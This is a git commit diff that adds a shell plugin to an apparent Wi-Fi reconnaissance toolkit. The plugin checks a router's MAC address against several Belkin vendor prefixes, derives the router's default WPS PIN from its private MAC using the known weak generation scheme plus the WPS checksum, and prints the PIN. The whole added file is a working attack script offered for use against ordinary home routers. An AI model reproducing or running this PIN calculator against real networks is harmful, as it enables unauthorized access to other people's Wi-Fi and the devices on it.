diff options
author | makefu <github@syntax-fehler.de> | 2015-01-14 14:54:15 +0100 |
---|---|---|
committer | makefu <github@syntax-fehler.de> | 2015-01-14 14:54:15 +0100 |
commit | 296784e4c62e162d6d943989d33f57c249119471 (patch) | |
tree | f1ead5be084e049d56cdee4de90fc9dfe58bf18d /recon/inspector_wifi/plugins/11belkin_wps | |
parent | e3b00212023d7c703a9aae7f4fad13b53cfb56b9 (diff) | |
parent | f1e466f413c787493a0cc6e18fd52a0f0987abb4 (diff) |
Merge branch 'master' of ssh://github.com/krebscode/painload
Diffstat (limited to 'recon/inspector_wifi/plugins/11belkin_wps')
-rwxr-xr-x | recon/inspector_wifi/plugins/11belkin_wps | 30 |
1 files changed, 30 insertions, 0 deletions
diff --git a/recon/inspector_wifi/plugins/11belkin_wps b/recon/inspector_wifi/plugins/11belkin_wps new file mode 100755 index 00000000..65448ad0 --- /dev/null +++ b/recon/inspector_wifi/plugins/11belkin_wps @@ -0,0 +1,30 @@ +#!/bin/sh + +cd $(dirname $(readlink -f $0)) +. ./plugin_core +parse_plugin_args "$@" + +if ! check_vendor_mac "$VENDOR_MAC" 002275 001CDF 09863B; then + echo "VENDOR MAC $VENDOR_MAC not affected" + exit 1 +fi + +calc_belkin(){ + PRIVATE_MAC=${1} + p=$((0x$PRIVATE_MAC % 10000000)) + wps_pin_checksum(){ + pin=$1 + accum=0 + while [ $pin -ne 0 ];do + accum=$((accum + (3 * (pin % 10)) )) + pin=$((pin/10)) + accum=$((accum + pin %10 )) + pin=$((pin/10)) + done + echo $(( (10 - accum % 10) % 10)) + } + printf "%07d%d" $p $(wps_pin_checksum $p) + return 0 +} + +printf "WPS-PIN: %s" $(calc_belkin ${PRIVATE_MAC}) |